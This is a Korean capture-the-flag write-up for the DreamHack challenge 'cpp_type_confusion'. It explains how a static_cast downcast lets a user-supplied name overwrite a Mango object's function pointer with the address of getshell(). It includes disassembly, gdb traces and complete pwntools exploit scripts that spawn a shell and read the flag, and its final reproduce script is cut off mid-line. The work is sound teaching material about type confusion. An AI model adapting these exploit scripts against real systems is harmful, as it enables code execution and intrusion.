[🥉 Bronze 2] 같은 8바이트를 함수 포인터로도 문자열로도 읽는다 — DreamHack cpp_type_confusion 풀이

문제: DreamHack — cpp_type_confusion 분류: pwnable 난이도: 🥉 Bronze 2 FLAG: DH{4a969c04516654df9984f8aab2db7309}

C++ 로 짠 사과·망고 가게다. 사과를 만들고, 망고를 만들고, 둘을 섞어 "애플망고"에 이름을 붙이고, 먹는다. 소스가 통째로 주어지고 길이도 160줄이 안 된다.

취약점은 딱 한 줄에 있다. 그런데 그 한 줄이 왜 위험한지는 C++ 객체가 메모리에 어떻게 놓이는지를 알아야 보인다. 버퍼 오버플로우도 아니고 free 후 재사용도 아니다. 경계 밖으로 나간 바이트가 하나도 없는데 함수 포인터가 바뀐다.

문제 개요

항목	내용
문제명	cpp_type_confusion
난이도	🥉 Bronze 2
분류	pwnable
제공 파일	`cpp_type_confusion`(ELF 64-bit), `cpp_type_confusion.cpp`(전체 소스)
서버	`host3.dreamhack.games:18869` (연결마다 포트가 다르다)
환경	Ubuntu 16.04.6 LTS · amd64
보호 기법	Partial RELRO · Canary · NX · No PIE
핵심 취약점	`static_cast` 다운캐스트로 생긴 타입 컨퓨전 → 함수 포인터 멤버 덮어쓰기

풀이는 세 걸음이면 끝난다. Apple 과 Mango 를 하나씩 만들어 3번 메뉴의 관문을 열고, 이름 칸에 getshell() 주소 3바이트를 넣어 Mango 객체의 함수 포인터를 덮고, 4번에서 그 객체의 가상 함수를 부른다.

🔬 코드 정찰

배포본은 바이너리와 소스 둘뿐이다.

ls -l extracted && file extracted/cpp_type_confusion

ls 와 file 로 배포본 확인 — 바이너리와 cpp 소스 두 개뿐이고 동적 링크된 64비트 ELF다

for GNU/Linux 2.6.32 라는 표기가 붙어 있는 걸 보면 꽤 오래된 툴체인이다. 문제 설명의 Ubuntu 16.04 와 맞는다.

보호 기법부터 본다.

pwn checksec extracted/cpp_type_confusion

pwntools checksec 출력 — Partial RELRO, Canary, NX 는 켜져 있지만 PIE 가 꺼져 있다

Canary 와 NX 는 켜져 있다. 스택을 밀어서 리턴 주소를 갈아엎는 그림은 아니라는 뜻이다.

대신 PIE 가 꺼져 있다. 코드가 항상 0x400000 부터 올라가니까, 바이너리에 있는 함수 주소를 그대로 하드코딩할 수 있다. 주소를 흘리는 단계가 통째로 사라진다.

소스에서 수상한 줄만 골라내기

소스가 통째로 있으니 눈으로 읽어도 되지만, 이름이 겹치는 멤버가 있는지부터 훑는 게 빠르다.

grep -n "description\|static_cast\|strncpy" extracted/cpp_type_confusion.cpp

grep -n 으로 소스에서 description 멤버가 선언된 두 줄과 static_cast, strncpy 를 한 번에 뽑아냈다

여기서 이미 그림이 거의 나온다. description 이라는 이름이 69번 줄에서는 char description[8], 86번 줄에서는 void (*description)(void) 로 두 번 선언돼 있다. 서로 다른 클래스의 멤버인데 이름이 같다.

그리고 114번 줄에 static_cast, 117번 줄에 strncpy 가 나란히 있다.

두 클래스

문제가 되는 두 클래스를 그대로 옮기면 이렇다.

class Base{
public:
    virtual void yum(){
    }
};
 
class Apple : public Base{
public:
    virtual void yum(){
        std::cout << description << std::endl;
    }
    Apple(){
        strcpy(description, "Appleyum\x00");
        appleflag = 1;
    };
 
    ~Apple(){
        appleflag = 0;
    }
    char description[8];
};
 
class Mango : public Base{
public:
    virtual void yum(){
        description();
    }
 
    Mango(){
        description = mangohi;
        mangoflag = 1;
    };
 
    ~Mango(){
        mangoflag = 0;
    }
    void (*description)(void);
};

둘 다 Base 를 상속하고, 둘 다 가상 함수 yum() 하나를 재정의하고, 둘 다 description 이라는 멤버 하나를 갖는다. 상속 구조가 같으니 멤버가 놓이는 오프셋도 같다. Apple 의 char[8] 과 Mango 의 함수 포인터는 객체 안에서 정확히 같은 자리를 차지한다.

Apple::yum() 은 그 자리를 문자열로 읽어 출력하고, Mango::yum() 은 그 자리에 든 값을 함수 주소로 보고 호출한다.

main 의 메뉴

case 3:
    if(appleflag && mangoflag){
        applemangoflag = 1;
        mixer = static_cast<Apple*>(mango);
        std::cout << "Applemango name: ";
        std::cin >> applemangoname;
        strncpy(mixer->description, applemangoname.c_str(), 8);
        std::cout << "Applemango Created!" << std::endl;
    } else if(appleflag == 0 && mangoflag == 0){

mango 는 Base* 이고 실제로는 new Mango() 로 만든 객체를 가리킨다. 그걸 static_cast<Apple*> 로 내려찍어 mixer 에 담고, mixer->description 에 사용자 입력 8바이트를 복사한다.

mixer 는 Apple 이라고 주장하지만 그 자리에 있는 물건은 Mango 다. 컴파일러는 mixer->description 을 Apple 의 레이아웃대로 계산한다 — 객체 시작 + 8, 크기 8, 타입 char[8]. 그런데 그 8바이트는 Mango 의 함수 포인터다.

심볼 확인

노릴 함수가 있는지 본다.

nm -C --defined-only extracted/cpp_type_confusion | grep -E "getshell|yum|vtable for (Apple|Mango|Base)|hi\(\)|flag$" | sort

nm -C 출력 — getshell 이 0x400fa6 에 있고 Apple/Mango 의 yum 과 vtable 주소가 전부 심볼로 남아 있다

getshell() 이 0x400fa6 에 그대로 있다. 소스에도 있던 그 함수다.

void getshell(){
    system("/bin/sh");
}

메뉴 어디에서도 부르지 않는 함수다. PIE 가 꺼져 있으니 이 주소는 실행할 때마다 같다. 목적지는 정해졌다.

🧩 배경 — C++ 객체는 메모리에서 어떻게 생겼나

이 문제를 이해하려면 두 가지만 알면 된다.

첫째, 가상 함수가 하나라도 있는 클래스의 객체는 맨 앞 8바이트가 vptr 이다. 멤버 변수가 아니라 컴파일러가 몰래 넣는 포인터로, 그 클래스의 가상 함수 테이블(vtable)을 가리킨다. 멤버 변수는 그 뒤부터 놓인다. 그래서 Apple 의 description[8] 도, Mango 의 description 함수 포인터도 객체 시작 + 8 에 앉는다.

둘째, mango->yum() 같은 가상 함수 호출은 정적으로 목적지가 정해지지 않는다. 포인터의 선언 타입(Base*)이 아니라 객체 안 vptr 이 가리키는 테이블을 보고 그때그때 뛴다.

바이너리에서 실제로 확인해 본다. vtable 은 .rodata 에 상수로 박혀 있다.

objdump -s -j .rodata --start-address=0x401858 --stop-address=0x401890 extracted/cpp_type_confusion | tail -n +4; gdb -q -batch -ex "x/a 0x401868" -ex "x/a 0x401880" extracted/cpp_type_confusion

objdump 로 .rodata 의 vtable 두 개를 덤프하고 gdb 로 각 슬롯이 가리키는 함수를 확인했다

Mango 의 vtable 은 0x401858 에서 시작해 offset-to-top(0) · typeinfo(0x4018a0) · 첫 가상 함수 슬롯(0x4015b8 = Mango::yum()) 순으로 놓여 있다. 객체의 vptr 에 들어가는 값은 테이블 시작이 아니라 함수 슬롯이 시작하는 0x401868 이다. Apple 쪽도 똑같은 모양으로 0x401880 이다.

gdb 의 x/a 가 그 두 주소를 각각 Mango::yum 과 Apple::yum 으로 풀어 준다.

`static_cast` 가 하는 일과 안 하는 일

static_cast<Apple*>(mango) 는 컴파일 시점에 상속 관계만 확인한다. Apple 과 Mango 는 둘 다 Base 를 상속하니, Base* 를 Apple* 로 내려찍는 것 자체는 문법적으로 합법이다. 단일 상속이라 주소 보정도 필요 없어서, 기계어로는 그냥 포인터 복사 한 줄이 된다.

런타임에 "이게 정말 Apple 인가"를 확인하는 코드는 한 줄도 생기지 않는다. 그 확인을 하는 건 dynamic_cast 다. dynamic_cast<Apple*>(mango) 였다면 vtable 옆에 붙어 있는 typeinfo 를 보고 실패해서 nullptr 을 돌려줬을 것이고, 다음 줄 strncpy 에서 널 역참조로 죽었을 것이다. 그러면 이 문제는 성립하지 않는다.

static_cast 는 "내가 확인했으니 믿어라"라는 뜻의 캐스트다. 여기서는 그 말이 거짓이다.

캐스트	런타임 검사	실패하면	기계어 비용
`static_cast<Apple*>`	없음	조용히 잘못된 포인터	`mov` 두 줄
`dynamic_cast<Apple*>`	typeinfo 대조	`nullptr` 반환	런타임 함수 호출
`reinterpret_cast<Apple*>`	없음	조용히 잘못된 포인터	없음

세 캐스트 중 이 상황에서 사고를 막아 주는 건 하나뿐이다. 그리고 dynamic_cast 가 검사에 쓰는 typeinfo 는 방금 덤프한 vtable 바로 옆 슬롯에 이미 들어 있다 — 정보가 없어서 못 막은 게 아니라, 확인하는 코드를 안 넣은 것이다.

💣 핵심 — +8 한 칸을 두 클래스가 다르게 읽는다

말로만 하면 헷갈리니 기계어를 보자. 먼저 3번 메뉴(Mix)다.

objdump -d --no-show-raw-insn -M intel -C extracted/cpp_type_confusion --start-address=0x401213 --stop-address=0x401284 | sed -f annot_mix.sed | tail -n +7

주석은 annot_mix.sed 로 objdump 출력 위에 얹었다. 실제 출력 그대로에 설명만 붙인 것이다.

s|^  401213:.*|&   <-- appleflag 검사|
s|^  401221:.*|&   <-- mangoflag 검사|
s|^  40122b:.*|&   <-- applemangoflag = 1|
s|^  401235:.*|&   <-- rbp-0x50 = mango (Base*)|
s|^  401239:.*|&   <-- rbp-0x48 = mixer (Apple*) : static_cast 는 포인터 복사 한 줄|
s|^  401258:.*|&   <-- std::cin >> applemangoname|
s|^  401270:.*|&   <-- \&mixer->description = 객체+8|
s|^  401274:.*|&   <-- n = 8|
s|^  40127f:.*|&   <-- 함수 포인터 자리에 8바이트 복사|

objdump 디스어셈블 — static_cast 가 mov 두 줄로 끝나고 strncpy 인자에 객체+8 과 n=8 이 그대로 들어간다

static_cast 자리를 보면 정말 아무것도 없다.

401235:  mov  rax, QWORD PTR [rbp-0x50]   ; mango (Base*)
401239:  mov  QWORD PTR [rbp-0x48], rax   ; mixer (Apple*)

읽어서 다른 칸에 쓴다. 검사도, 보정도, 예외도 없다. 이게 static_cast 다.

그리고 strncpy 호출 직전에 인자가 이렇게 준비된다.

40126c:  mov  rax, QWORD PTR [rbp-0x48]   ; mixer
401270:  add  rax, 0x8                    ; &mixer->description
401274:  mov  edx, 0x8                    ; n = 8
40127f:  call 400e30 <strncpy@plt>

add rax, 0x8 이 전부다. Apple 의 description 이 객체 시작 + 8 이라는 걸 컴파일러가 계산해 둔 것이다. 그런데 그 객체는 Mango 다.

같은 +8, 정반대의 해석

두 yum() 을 나란히 놓으면 이 문제의 전부가 보인다.

for R in 401524:401556 4015b8:4015d1; do objdump -d --no-show-raw-insn -M intel -C extracted/cpp_type_confusion --start-address=0x${R%:*} --stop-address=0x${R#*:} | tail -n +7 | sed -f annot_yum.sed; done

s|^  401530:.*|&   <-- rax = this|
s|^  401534:.*|&   <-- this+8 의 주소를 계산 (char[8] 의 첫 칸)|
s|^  40153b:.*|&   <-- 그 주소를 char* 로 넘겨 출력|
s|^  4015c4:.*|&   <-- rax = this|
s|^  4015c8:.*|&   <-- this+8 에 든 값을 읽는다 (void(*)())|
s|^  4015cc:.*|&   <-- 읽은 값으로 바로 점프|

objdump 로 Apple::yum 과 Mango::yum 을 나란히 본 화면 — 한쪽은 this+8 의 주소를, 다른 쪽은 this+8 의 값을 쓴다

명령 하나 차이다.

; Apple::yum()
401534:  add  rax, 0x8          ; this+8 이라는 "주소"
401538:  mov  rsi, rax          ; char* 로 넘긴다
 
; Mango::yum()
4015c8:  mov  rax, QWORD PTR [rax+0x8]   ; this+8 에 든 "값"
4015cc:  call rax                        ; 그 값으로 점프

add 냐 mov [ ] 냐. 주소를 쓰느냐, 그 자리에 든 값을 쓰느냐. 쓸 때는 Apple 의 눈(주소를 잡아 바이트를 채운다), 읽을 때는 Mango 의 눈(값을 함수로 본다). 이 두 시선이 한 객체에서 만나는 게 타입 컨퓨전이다.

Mango 객체 하나에 Base 포인터와 Apple 포인터가 동시에 붙고, +8 칸을 함수 포인터로도 char 배열로도 읽는 구조를 그린 그림

경계를 넘은 바이트는 하나도 없다. strncpy 는 자기가 받은 8바이트 버퍼에 정확히 8바이트만 쓴다. 버그는 "얼마나 썼나"가 아니라 "무엇에다 썼나"에 있다. 그래서 canary 도, NX 도, RELRO 도 이 공격을 못 막는다. 셋 다 다른 종류의 사고를 막는 장치다.

🎯 제약 세 가지 — 무엇을 쓸 수 있나

목적지는 getshell() = 0x400fa6 로 정해졌다. 이제 그 8바이트를 실제로 그 값으로 만들 수 있는지 확인할 차례다. 제약이 세 개 있다.

1. 관문 — Apple 과 Mango 가 둘 다 있어야 한다

3번 메뉴는 if(appleflag && mangoflag) 로 막혀 있다. 두 플래그는 각 생성자에서 1 이 되고 소멸자에서 0 이 된다. 즉 Apple 을 한 번 만들어 두지 않으면 3번이 아예 안 열린다.

Apple 객체 자체는 공격에 쓰이지 않는다. 관문을 여는 용도로만 필요하다.

2. `std::cin >>` 는 공백에서 끊긴다

이름은 std::cin >> applemangoname 으로 받는다. operator>> 는 앞쪽 공백을 건너뛰고, 다음 공백을 만나는 순간 읽기를 멈춘다. 여기서 공백은 스페이스(0x20)와 0x09~0x0d 다.

우리가 넣을 바이트는 a6 0f 40 이다. 0x0f 는 0x09~0x0d 범위 밖이고 나머지도 안전하다. 운이 좋았다 — getshell 이 0x400f20 같은 주소였다면 스페이스가 끼어 이 경로가 막혔을 것이다.

3. `strncpy` 의 NUL 패딩이 나머지 5바이트를 채운다

주소는 8바이트인데 의미 있는 값은 3바이트뿐이다. 나머지 5바이트를 0 으로 만들어야 0x0000000000400fa6 이 된다. NUL 바이트는 키보드로 못 넣는다.

그럴 필요가 없다. strncpy(dst, src, n) 은 소스가 n 보다 짧으면 남은 자리를 전부 \0 으로 채운다. strcpy 와 다른 점이자, 흔히 "안전한 버전"으로 오해받는 지점이다. 여기서는 그 패딩이 공격자 편에 선다.

말로 끝내지 말고 확인한다.

// pad_check.c — strncpy 가 남는 자리를 정말 0 으로 채우는지 눈으로 본다.
//   gcc -o pad_check pad_check.c && ./pad_check
#include <stdio.h>
#include <string.h>
 
int main(void) {
    unsigned char buf[8];
    memset(buf, 0xff, sizeof buf);            // 일부러 쓰레기를 깔아 두고
    strncpy((char *)buf, "\xa6\x0f\x40", 8);  // 3바이트짜리 소스를 n=8 로 복사
 
    printf("buf =");
    for (int i = 0; i < 8; i++) printf(" %02x", buf[i]);
    printf("\n함수 포인터로 읽으면 %p\n", *(void **)buf);
    return 0;
}

gcc -o pad_check pad_check.c && ./pad_check

pad_check 실행 결과 — 0xff 로 채워 둔 8바이트가 a6 0f 40 다음 전부 00 으로 덮이고 포인터로 읽으면 0x400fa6 이 된다

0xff 로 미리 더럽혀 둔 자리가 깨끗하게 0 이 됐다. 3바이트만 보내면 포인터 8바이트가 정확히 완성된다.

직접 찔러 보기

세 제약과 몇 가지 궁금한 점을 한 번에 확인하는 스크립트를 짰다.

#!/usr/bin/env python3
# probe.py — 3번(Mix) 이 열리는 조건과 이름 칸의 제약을 하나씩 찔러 본다.
from pwn import context, process
 
context.log_level = "error"
HERE = __file__.rsplit("/", 1)[0]
BIN = (HERE + "/extracted/cpp_type_confusion").encode()
CWD = HERE + "/extracted"
 
# 메뉴가 매 루프 다시 찍혀서 시끄러우니 결과 줄만 남긴다
NOISE = ("I love Applemango", "1. Make apple", "2. Make mango",
         "3. Mix apple, mango", "4. Eat", "5. Exit program")
 
 
def run(label, script, feed=b""):
    """script = [(보낼 것, 기다릴 프롬프트), ...] 를 순서대로 흘려보낸다."""
    p = process(BIN, cwd=CWD)
    buf, died = "", False
    try:
        for data, prompt in script:
            buf += p.recvuntil(prompt.encode(), timeout=2).decode(errors="replace")
            p.send(data)
        if feed:
            p.send(feed)
    except EOFError:
        died = True                      # 프로그램이 먼저 끝나 버린 경우
    buf += p.recvrepeat(1.0).decode(errors="replace")
    p.close()
 
    lines = [l for l in buf.splitlines() if l.strip() and not l.startswith(NOISE)]
    print(f"[{label}]")
    for l in lines[-3:]:
        print("   ", l)
    if died:
        print("     ^ 프로그램이 입력 도중 스스로 종료했다")
    print()
 
 
SEL = "[*] Select : "
 
run("A. 아무것도 없이 3번", [(b"3\n", SEL)])
run("B. Apple 만 만들고 3번", [(b"1\n", SEL), (b"3\n", SEL)])
run("C. Mango 만 만들고 3번", [(b"2\n", SEL), (b"3\n", SEL)])
run("D. 1,2,3 순서로 가면 이름 칸이 열린다",
    [(b"1\n", SEL), (b"2\n", SEL), (b"3\n", SEL)])
run("E. 이름에 공백을 섞으면 (AAAA BBBB)",
    [(b"1\n", SEL), (b"2\n", SEL), (b"3\n", SEL),
     (b"AAAA BBBB\n", "Applemango name: "), (b"4\n", SEL), (b"2\n", SEL)])
run("F. getshell 주소를 넣고 4-3(Applemango) 으로 호출",
    [(b"1\n", SEL), (b"2\n", SEL), (b"3\n", SEL),
     (b"\xa6\x0f\x40\n", "Applemango name: "), (b"4\n", SEL), (b"3\n", SEL)],
    feed="echo '     -> 셸이 떴다 (4-3 도 Mango::yum 으로 간다)'; exit\n".encode())

python3 probe.py

probe.py 실행 결과 — 관문 조건 A/B/C, 정상 경로 D, 공백을 섞으면 프로그램이 조용히 끝나는 E, 4-3 으로도 셸이 뜨는 F

A·B·C 가 관문을 확인해 준다. 아무것도 없으면 You don't have anything!, 한쪽만 있으면 없는 쪽을 정확히 짚어 준다.

F 가 재미있다. 4번 메뉴의 3번(Applemango) 을 골라도 셸이 뜬다. mixer 는 Apple* 이니 mixer->yum() 은 Apple::yum() 을 부를 것 같지만, yum() 은 가상 함수라 목적지는 포인터 타입이 아니라 객체 안 vptr 이 정한다. 그 객체는 new Mango() 로 만들었으니 vptr 은 Mango 의 vtable 을 가리키고, 결국 Mango::yum() 으로 간다.

즉 4-2 든 4-3 이든 같은 곳으로 떨어진다. 앞의 vtable 덤프에서 본 구조가 그대로 실행에 반영된 셈이다.

E 는 예상 밖이라 따로 파 봤다. 아래 삽질 절에 적었다.

🐛 삽질

▶🕳️ 삽질 1 — 셸은 잡았는데 flag 가 없다

로컬 검증부터 하려고 exploit 을 돌렸는데, 셸은 분명히 떴는데 cat flag 가 빈손이었다. 처음엔 익스가 반쯤만 먹은 줄 알았다.

원인은 훨씬 시시했다. pwntools process() 에 cwd 를 안 넘겨서, 셸의 작업 디렉토리가 스크립트가 있는 폴더였다. 더미 flag 는 바이너리 옆(extracted/)에 만들어 뒀으니 당연히 안 보인다.

그때 짰던 버전을 그대로 남겨 뒀다.

#!/usr/bin/env python3
# sapjil_cwd.py — 처음에 짰던 버전. process() 에 cwd 를 안 줬다.
# 익스는 멀쩡히 셸을 잡는데, 그 셸의 작업 디렉토리가 이 스크립트가 있는 폴더라
# flag 파일(extracted/flag)을 못 찾는다.
from pwn import context, p64, process
 
context.log_level = "error"
HERE = __file__.rsplit("/", 1)[0]
BIN = (HERE + "/extracted/cpp_type_confusion").encode()
 
p = process(BIN)                       # <- cwd= 를 안 넘겼다
for c in (b"1\n", b"2\n", b"3\n"):
    p.sendlineafter(b"[*] Select : ", c.strip())
p.sendafter(b"Applemango name: ", p64(0x400FA6).rstrip(b"\x00") + b"\n")
p.sendlineafter(b"[*] Select : ", b"4")
p.sendlineafter(b"[*] Select : ", b"2")
 
p.sendline(b"pwd; cat flag")
print(p.recvrepeat(2).decode(errors="replace").strip())
p.close()

python3 sapjil_cwd.py

sapjil_cwd.py 실행 결과 — 셸의 pwd 가 문제 폴더 최상위로 찍히고 cat flag 는 파일이 없다고 답한다

pwd 를 같이 찍어 보니 한 방에 드러났다. 셸은 정상이었고 위치만 틀렸다.

교훈이라면, "셸을 못 잡았다"와 "셸은 잡았는데 파일이 없다"를 구분하는 한 줄(id 든 pwd 든)을 익스에 늘 넣어 두는 게 낫다는 것. 최종 solve.py 에도 id 를 남겨 뒀다. 원격에서 uid=1000(cpp_type_confusion) 이 찍히면 그것만으로 셸이 확실하다.

▶🕳️ 삽질 2 — 배포 zip 은 실행 권한을 안 살린다

그보다 앞서, 바이너리를 처음 돌릴 때부터 막혔다. 다운로드해 풀어 놓은 파일에 실행 비트가 없다.

ls -l cpp_type_confusion; ./cpp_type_confusion

실행 권한이 없는 상태에서 바이너리를 실행한 화면 — 모드가 rw-rw-r-- 이고 셸이 허가 거부로 되돌아온다

chmod +x 한 줄이면 끝나는 일인데, 처음 본 에러가 timeout: failed to execute process: Permission denied 라서 잠깐 엉뚱한 데를 봤다. timeout 을 앞에 붙여 돌리고 있었더니 에러 문구의 주어가 timeout 이 돼 버려서, 바이너리가 아니라 실행 방식이 잘못된 줄 알았다.

그래서 reproduce.sh 첫머리에 chmod +x 를 박아 뒀다. 나중에 백업에서 꺼내 돌릴 때 같은 데서 또 멈추지 않게.

▶🕳️ 삽질 3 — 이름에 공백을 섞으면 프로그램이 조용히 끝난다

std::cin >> 가 공백에서 끊긴다는 건 알고 있었지만, 끊긴 뒤에 무슨 일이 벌어지는지는 예상과 달랐다.

AAAA BBBB 를 넣으면 이름으로는 AAAA 만 들어간다. 여기까진 예상대로다. 문제는 스트림에 남은 BBBB 다. 메뉴 루프로 돌아가면 std::cin >> selector 가 그걸 정수로 읽으려다 실패하고 failbit 이 선다. 그 뒤로는 모든 입력이 즉시 실패한다.

C++11 이후 표준은 파싱에 실패하면 대상 변수에 0 을 넣게 돼 있다. selector 가 0 이 되니 switch 의 default: 로 빠지고, 거기 return 0 이 있다.

default:
    return 0;

그래서 프로그램이 에러 한 줄 없이 그냥 끝난다. 위 probe 출력의 E 항목이 그 장면이다 — Applemango Created! 까지 찍고, 다음 프롬프트에서 아무 반응 없이 종료된다.

덧붙이면, 같은 "추출 실패"라도 입력이 아예 없어서(EOF) 실패하면 결과가 다르다. 그때는 sentry 단계에서 걸려 파싱 자체를 시도하지 않으므로 변수 값이 그대로 남는다. 셸에서 빠져나온 뒤 stdin 이 EOF 인 채로 메뉴 루프에 돌아가면 selector 가 직전 값 2 그대로라 case 2 가 무한히 돈다 — 익스를 파이프로 먹이고 나면 화면이 Mango Created! 로 도배되는 게 그래서다. 익스가 성공했는데도 출력이 폭주하면 이걸 의심하면 된다.

익스가 안 먹었을 때 이 증상이 나오면 "주소가 틀렸나"부터 의심하기 쉬운데, 실제 원인은 한참 앞 단계에서 입력 스트림이 죽은 것이다. 페이로드에 공백 바이트가 섞였는지를 먼저 봐야 한다. 최종 solve.py 에 assert 를 하나 박아 둔 이유다.

assert not any(c in b" \t\n\v\f\r" for c in payload), "cin >> 가 끊길 바이트가 섞였다"

▶🕳️ 삽질 4 — 첫 flag 제출이 오답으로 나왔다

flag 를 따서 제출했더니 "오답"이 떴다. 값은 방금 서버에서 직접 뽑은 것이라 틀릴 수가 없는데.

제출하니 "정답"으로 처리됐고 크레딧도 환급됐다.

값이 확실한데 오답이 뜨면, 페이로드를 뜯어고치기 전에 한 번 더 눌러 보는 게 먼저다.

🧪 런타임 확인 — 정말 그 칸이 덮이는가

정적으로는 다 맞췄다. 이제 실행 중에도 같은지 본다. 두 지점에 브레이크포인트를 건다 — strncpy 호출 직전과 Mango::yum() 의 call rax.

# cpp_type_confusion — 타입 컨퓨전이 실제 메모리에서 일어나는지 런타임으로 확인
#   gdb -q -batch -x verify.gdb ./cpp_type_confusion
set pagination off
set confirm off
 
# main: call strncpy@plt  (mixer->description 에 8바이트 복사)
break *0x40127f
# Mango::yum: call rax    (description() 호출)
break *0x4015cc
 
run < in.bin
 
printf "\n=== [1] strncpy 직전 ===\n"
printf "dest(rdi) = %p   n(rdx) = %d\n", $rdi, $rdx
printf "Mango 객체     = %p\n", $rdi - 8
printf "  +0 vptr      = %p\n", *(void **)($rdi - 8)
printf "  +8 값        = %p  <- 아직 Mango 의 함수 포인터\n", *(void **)$rdi
info symbol *(void **)$rdi
printf "src(rsi) 8바이트: "
x/8xb $rsi
 
continue
 
printf "\n=== [2] Mango::yum() 의 call rax ===\n"
printf "rax = %p\n", $rax
info symbol $rax
printf "this(= 아까 그 Mango 객체) = %p\n", *(void **)($rbp - 8)
 
kill
quit

입력은 파일로 미리 만들어 둔다.

printf '1\n2\n3\n\xa6\x0f\x40\n4\n2\n' > in.bin

gdb -q -batch -x verify.gdb ./cpp_type_confusion 2>&1 | grep -vE "^(I love Applemango|[1-5]\. |\[\*\] Select)"

메뉴가 매 루프 다시 찍혀 화면을 덮으므로 그 줄만 걸러냈다.

gdb -batch 런타임 확인 — strncpy 대상이 객체+8 이고 그 자리에 원래 mangohi 가 들어 있었으며 호출 시점 rax 가 getshell 로 바뀌어 있다

정적으로 세운 주장이 전부 그대로 나온다.

확인한 것	값
Mango 객체 주소	`0x615340` (힙)
`+0` vptr	`0x401868` — 앞서 본 Mango vtable 의 함수 슬롯
`+8` 덮기 전	`0x401102` = `mangohi()`
`strncpy` dest / n	`0x615348`(= 객체+8) / `8`
소스 8바이트	`a6 0f 40 00 00 00 00 00`
`call rax` 시점 rax	`0x400fa6` = `getshell()`

소스 8바이트가 이미 a6 0f 40 뒤로 0 인 게 보인다. std::string 이 짧은 문자열을 자기 내부 버퍼에 담으면서 뒤를 비워 둔 덕인데, 어차피 strncpy 가 3바이트만 복사하고 나머지를 0 으로 채우니 결과는 같다.

그리고 Mango::yum() 에 들어와 call rax 를 코앞에 둔 시점의 rax 가 getshell() 이다. 두 번째 브레이크포인트에서 찍은 this 도 아까 그 객체 0x615340 그대로다. 같은 객체, 바뀐 한 칸.

🚀 Full Exploit

로컬과 원격을 같은 스크립트로 돌린다.

#!/usr/bin/env python3
# cpp_type_confusion (DreamHack, Bronze 2 / pwnable)
#
# 3번 메뉴의 static_cast<Apple*>(mango) 가 Mango 객체를 Apple 로 착각시킨다.
#   Mango::description -> void (*)(void)   함수 포인터  (객체 오프셋 +8)
#   Apple::description -> char[8]          문자 배열    (객체 오프셋 +8)
# 같은 자리에 strncpy(mixer->description, name, 8) 을 하므로 함수 포인터가 통째로 덮인다.
# 4-2 (mango->yum()) 는 Mango::yum() 이라 description() 을 그대로 호출한다.
# PIE 가 꺼져 있어 getshell() 주소는 0x400fa6 로 고정.
#
#   python3 solve.py                                # 로컬 검증
#   python3 solve.py host3.dreamhack.games 12345    # 원격
import sys
 
from pwn import ELF, context, p64, process, remote
 
context.log_level = "info"
context.arch = "amd64"
 
HERE = __file__.rsplit("/", 1)[0]
BIN = HERE + "/extracted/cpp_type_confusion"
elf = ELF(BIN, checksec=False)
getshell = elf.symbols["_Z8getshellv"]  # 0x400fa6
print(f"[*] getshell() = {getshell:#x}")
 
if len(sys.argv) >= 3:
    p = remote(sys.argv[1], int(sys.argv[2]))
else:
    # flag 파일이 바이너리 옆에 있으므로 cwd 를 맞춰 준다(원격 서버와 동일한 배치).
    p = process(BIN.encode(), cwd=HERE + "/extracted")
 
 
def menu(choice):
    p.sendlineafter(b"[*] Select : ", str(choice).encode())
 
 
menu(1)  # Apple 생성 -> appleflag = 1   (3번 메뉴의 관문)
menu(2)  # Mango 생성 -> mangoflag = 1, description = mangohi
 
# getshell 주소 0x400fa6 -> 리틀엔디안 3바이트 b"\xa6\x0f\x40".
# strncpy 는 소스가 n 보다 짧으면 남은 자리를 0 으로 채우므로
# 포인터 8바이트가 정확히 0x0000000000400fa6 이 된다.
# std::cin >> 는 공백에서 끊기는데 0xa6/0x0f/0x40 중 공백문자(0x09~0x0d, 0x20)는 없다.
payload = p64(getshell).rstrip(b"\x00")
assert not any(c in b" \t\n\v\f\r" for c in payload), "cin >> 가 끊길 바이트가 섞였다"
print(f"[*] payload = {payload!r}")
 
menu(3)  # Mix -> strncpy 로 함수 포인터 덮어쓰기
p.sendafter(b"Applemango name: ", payload + b"\n")
 
menu(4)  # Eat
p.sendlineafter(b"[*] Select : ", b"2")  # 2. Mango -> Mango::yum() -> description()
 
p.sendline(b"id; cat flag")
out = p.recvrepeat(3).decode(errors="replace")
print(out.strip())
p.close()

주소를 하드코딩하지 않고 elf.symbols 로 뽑는다. 심볼이 남아 있으니 그게 정확하고, 다른 환경에서 같은 소스를 다시 빌드했더라도 스크립트가 알아서 따라간다.

먼저 로컬. 바이너리 옆에 더미 flag 파일을 하나 만들어 두고 돌린다.

printf 'DH{LOCAL_DUMMY_FLAG_1234}\n' > extracted/flag
python3 solve.py

로컬에서 solve.py 를 돌린 결과 — payload 세 바이트가 찍히고 id 와 더미 flag 가 셸에서 되돌아온다

uid=1000(jinho) 가 찍혔다. 내 계정의 셸이 떴다는 뜻이고, 더미 flag 도 읽힌다. 여기 나오는 DH{LOCAL_DUMMY_FLAG_1234} 는 검증용으로 내가 만든 파일이지 문제의 답이 아니다.

이제 라이브 서버.

python3 solve.py host3.dreamhack.games 18869

원격 서버에서 solve.py 를 돌린 결과 — uid 가 cpp_type_confusion 으로 바뀌고 진짜 flag 가 출력된다

uid=1000(cpp_type_confusion) — 문제 서버의 서비스 계정이다. 한 번에 붙었다.

DH{4a969c04516654df9984f8aab2db7309}

한 방 재현

나중에 백업만 가지고 다시 돌릴 수 있게 reproduce.sh 를 남겼다. 인자를 주면 라이브에서 진짜 flag 를, 안 주면 더미로 익스 동작만 검증한다. 더미 flag 를 진짜인 것처럼 PASS 시키지 않는다 — 그러면 백업 전체를 못 믿게 된다.

#!/usr/bin/env bash
# cpp_type_confusion — 한 방 재현.
#
#   ./reproduce.sh                              로컬 검증 (더미 flag 로 익스 동작만 확인)
#   ./reproduce.sh host3.dreamhack.games 12345  라이브 서버에서 진짜 flag 회수
#
# 이 문제의 진짜 flag 는 서버에만 있다. 인자 없이 돌리면 더미 flag 로
# "익스가 셸을 잡는지"만 검증하고, 진짜 flag 를 딴 것처럼 PASS 하지 않는다.
set -eu
cd "$(dirname "$(readlink -f "$0")")"
 
chmod +x extracted/cpp_type_confusion 2>/dev/null || true   # 배포 zip 은 실행 권한을 안 살린다
 
if [ $# -ge 2 ]; then
  EXPECT=$(python3 -c "import json;print(json.load(open('문제.json'))['flag'])" 2>/dev/null || echo '')
  OUT=$(timeout 120 python3 solve.py "$1" "$2" 2>&1) || true
  echo "$OUT" | tail -6
  FLAG=$(printf '%s' "$OUT" | grep -aoE 'DH\{[^}]+\}' | head -1)
  if [ -n "$FLAG" ] && { [ -z "$EXPECT" ] || [ "$FLAG" = "$EXPECT" ]; }; then
